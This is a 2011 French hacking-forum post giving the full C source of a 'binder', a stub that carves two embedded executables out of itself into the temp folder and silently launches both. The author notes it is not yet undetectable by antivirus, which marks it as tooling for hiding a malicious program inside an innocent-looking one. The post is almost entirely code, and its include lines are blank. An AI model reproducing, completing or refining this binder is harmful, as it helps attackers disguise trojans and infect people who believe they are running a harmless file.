Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: code source d'un blinder en C ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 20:06 (2011)    Sujet du message: code source d'un blinder en C Répondre en citant

Voici le code source d'un blinder en c, il n'est pas FUD mais pour l'information pédagogique il est pas mal.


binder.c
#include
#include
#include
#include
#include


int main(int argc, char *argv[])
{

HWND hwnd;

long pos = 0 ;
unsigned long* taille_1=calloc(1,sizeof(unsigned long)); // définition de quelques //variables
unsigned long* taille_total=calloc(1,sizeof(unsigned long));
char *file_name;
char buffer[512] ;
char temp_file1[1000] ;
GetTempPath(1000, temp_file1); // récupération du chemin du dossier temporaire
lstrcat(temp_file1, "file1.exe"); // Chemin du fichier 1 (temp+lenomdufichier)
char temp_file2[1000] ;
GetTempPath(1000, temp_file2);
lstrcat(temp_file2, "file2.exe"); //idem
file_name = argv[0] ; //récupère le nom du fichier exécuté
FILE* fichier_file1 = NULL;
FILE* fichier_this = NULL;
FILE* fichier_file2 = NULL;
int c = 0 ;
int c1 =0 ;


fichier_this = fopen(file_name, "rb");



fichier_file1 = fopen(temp_file1, "wb");

if(fichier_file1 != NULL)
{

}
else
{
exit(-1) ;
}
fichier_file2 = fopen(temp_file2, "wb");
if(fichier_file2 != NULL)
{






}
else
{
exit(-1) ;
}

if(fichier_this != NULL)
{



fseek(fichier_this, 7168, SEEK_SET);




fscanf(fichier_this, "%lu", taille_1 );

int taille_int = *taille_1 ; //récupère la variable qui contient la taille d'un fichier .exe


int l=1;
int d=10;
while((taille_int/d)!=0)
{
l++;
d*=10; //calcul la taille de la variable
}




while ( pos <= 7168+*taille_1)
{
c = fread(buffer, 1, 512, fichier_this) ;
fwrite(buffer, 1, c , fichier_file1); // tant qu'on atteint pas la limite du //premier fichier il copie tous dans le premier executable

pos = ftell(fichier_this);
}





fclose(fichier_this) ;
fichier_this = fopen(file_name, "rb"); // Obliger de fermer/rouvrir sinon ca causait des bugs //...
*taille_total = 7168+*taille_1+l ; //Calcul le début du fichier 2 (taille du stub+taille du fichier //1 + taille de la variable contenant la taille


fseek(fichier_this, *taille_total, SEEK_SET); //positione le curseur au bonne endroit



while ((c1 = fread(buffer, 1, 512, fichier_this)) != 0)
fwrite(buffer, 1, c1 , fichier_file2); //copie les données du second executable dans le // deuxième fichier .exe















fclose(fichier_file1) ;

fclose(fichier_file2) ;


}
else
{
exit(-1) ;
}

ShellExecute(hwnd,"open",temp_file1,NULL,NULL,SW_SHOWDEFAULT);
ShellExecute(hwnd,"open",temp_file2,NULL,NULL,SW_SHOWDEFAULT); // ouvre les fichiers
// Je n'utilise pas system() car celui-ci ouvre une console ...

return 0;
}


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 20:06 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com